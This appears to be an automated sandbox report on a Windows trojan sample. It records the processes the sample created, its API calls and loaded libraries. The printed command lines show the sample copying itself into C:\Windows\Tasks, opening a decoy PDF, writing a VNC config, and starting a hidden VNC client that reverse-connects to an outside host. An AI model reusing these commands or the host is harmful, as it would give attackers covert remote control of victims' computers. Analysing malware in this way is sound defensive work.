Binary string: \Device\ConDrv\Serveronecore\windows\core\console\open\src\server\winntcontrol.cpponecore\windows\core\console\open\src\interactivity\base\servicelocator.cppHost Signal Handler Threadonecore\windows\core\console\open\src\interactivity\base\hostsignalinputthread.cpponecore\windows\core\console\open\src\interactivity\win32\uiatextrange.cpponecore\windows\core\console\open\src\interactivity\win32\accessibilitynotifier.cpponecore\windows\core\console\open\src\interactivity\win32\windowmetrics.cpponecore\windows\core\console\open\src\interactivity\win32\systemconfigurationprovider.cpponecore\windows\core\console\open\src\interactivity\win32\window.cpponecore\windows\core\console\open\src\interactivity\win32\windowio.cpponecore\windows\core\console\open\src\interactivity\win32\icon.cpponecore\windows\core\console\open\src\interactivity\win32\windowuiaprovider.cpponecore\windows\core\console\open\src\interactivity\win32\windowproc.cpponecore\windows\core\console\open\src\interactivity\win32\clipboard.cpponecore\windows\core\console\open\src\interactivity\win32\screeninfouiaprovider.cpponecore\windows\core\console\open\src\types\viewport.cpponecore\windows\core\console\open\src\types\convert.cpponecore\windows\core\console\open\src\types\utils.cpp

Source: classification engine

Classification label: mal84.troj.spyw.evad.winEXE@56/60@4/1

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_00408DBF wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

0_2_00408DBF

Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5083550 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetVersionExA,ExitWindowsEx,	23_2_00007FF7E5083550
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50818A0 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	23_2_00007FF7E50818A0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50834B0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,	23_2_00007FF7E50834B0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5083550 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetVersionExA,ExitWindowsEx,	26_2_00007FF7E5083550
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50818A0 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	26_2_00007FF7E50818A0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50834B0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,	26_2_00007FF7E50834B0

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_004011D1 GetDiskFreeSpaceExW,SendMessageW,

0_2_004011D1

Source: C:\Windows\Tasks\sync_browser.exe	Code function: OpenSCManagerA,CreateServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,		23_2_00007FF7E5082D00
Source: C:\Windows\Tasks\sync_browser.exe	Code function: OpenSCManagerA,CreateServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,		26_2_00007FF7E5082D00

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E50D9BC0 LoadLibraryA,GetProcAddress,GetProcAddress,GetSystemMetrics,GetCurrentProcessId,ProcessIdToSessionId,CreateToolhelp32Snapshot,Process32First,CloseHandle,FreeLibrary,ProcessIdToSessionId,ProcessIdToSessionId,CloseHandle,FreeLibrary,Process32Next,

23_2_00007FF7E50D9BC0

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_0040385E _wtol,_wtol,SHGetSpecialFolderPathW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,CoCreateInstance,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,

0_2_0040385E

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_00401DC9 GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

0_2_00401DC9

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\Downloads\Lom.pdf

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4236:120:WilError_03
Source: C:\Windows\Tasks\sync_browser.exe	Mutant created: \Sessions\1\BaseNamedObjects\WinVNC_Win32_Instance_Mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2980:120:WilError_03

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

File created: C:\Users\user~1\AppData\Local\Temp\7ZipSfx.000

Jump to behavior

Source: Olz7TmvkEW.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "sync_browser.exe")
Source: C:\Windows\SysWOW64\timeout.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "sync_browser.exe")

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: sync_browser.exe	String found in binary or memory: -startservice
Source: sync_browser.exe	String found in binary or memory: -install
Source: sync_browser.exe	String found in binary or memory: -stopservice
Source: sync_browser.exe	String found in binary or memory: -startservice
Source: sync_browser.exe	String found in binary or memory: -install
Source: sync_browser.exe	String found in binary or memory: -stopservice

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

File read: C:\Users\user\Desktop\Olz7TmvkEW.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Olz7TmvkEW.exe "C:\Users\user\Desktop\Olz7TmvkEW.exe"
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\." "%CD%\..\..\..\..\..\..\Windows\Tasks\"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & copy 5482310161066753 5482310161066753.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & 5482310161066753.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\Lom.pdf"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im sync_browser.exe
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1620,i,1244757786394312861,11570424180585682022,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Tasks\sync_browser.exe C:\Windows\Tasks\sync_browser.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Tasks\sync_browser.exe C:\Windows\Tasks\sync_browser.exe -autoreconnect -id:user-PC_Thj0Wf -connect tbdcic.info:443
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 4
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\." "%CD%\..\..\..\..\..\..\Windows\Tasks\"	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & copy 5482310161066753 5482310161066753.cmd	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & 5482310161066753.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\Lom.pdf"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im sync_browser.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im sync_browser.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Tasks\sync_browser.exe C:\Windows\Tasks\sync_browser.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Tasks\sync_browser.exe C:\Windows\Tasks\sync_browser.exe -autoreconnect -id:user-PC_Thj0Wf -connect tbdcic.info:443	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 4	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 42	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1620,i,1244757786394312861,11570424180585682022,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: apphelp.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: winmm.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: version.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: userenv.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: dwmapi.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: sspicli.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: winsta.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: napinsp.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: wshbth.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: mswsock.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: winrnr.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: wldp.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched32.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched20.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: usp10.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: msls31.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched32.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched20.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: usp10.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: msls31.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched32.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched20.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: usp10.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: msls31.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched32.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched20.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: usp10.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: msls31.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched32.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched20.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: usp10.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: msls31.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched32.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: riched20.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: usp10.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: msls31.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: winmm.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: version.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: userenv.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: dwmapi.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: napinsp.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: wshbth.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: mswsock.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: winrnr.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Tasks\sync_browser.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Windows\SysWOW64\cmd.exe

File written: C:\Windows\Tasks\UltraVNC.ini

Jump to behavior

Source: C:\Windows\Tasks\sync_browser.exe

File opened: C:\Windows\SYSTEM32\RICHED32.DLL

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Olz7TmvkEW.exe

Static file information: File size 1641047 > 1048576

Source:	Binary string: conhost.pdbUGP source: Olz7TmvkEW.exe, 00000000.00000003.1297167688.000000000273D000.00000004.00000020.00020000.00000000.sdmp, sdABZ4.E1924R.2.dr, sdABZ4.E1924R.0.dr, conhost.exe.6.dr
Source:	Binary string: conhost.pdb source: Olz7TmvkEW.exe, 00000000.00000003.1297167688.000000000273D000.00000004.00000020.00020000.00000000.sdmp, sdABZ4.E1924R.2.dr, sdABZ4.E1924R.0.dr, conhost.exe.6.dr

Source: sdABZ4.E1924R.0.dr

Static PE information: 0x998FF43F [Tue Aug 22 20:17:03 2051 UTC]

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_0040236F LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

0_2_0040236F

Source: Olz7TmvkEW.exe

Static PE information: real checksum: 0x2af97 should be: 0x198e1b

Source: sdABZ4.E1924R.0.dr	Static PE information: section name: .didat
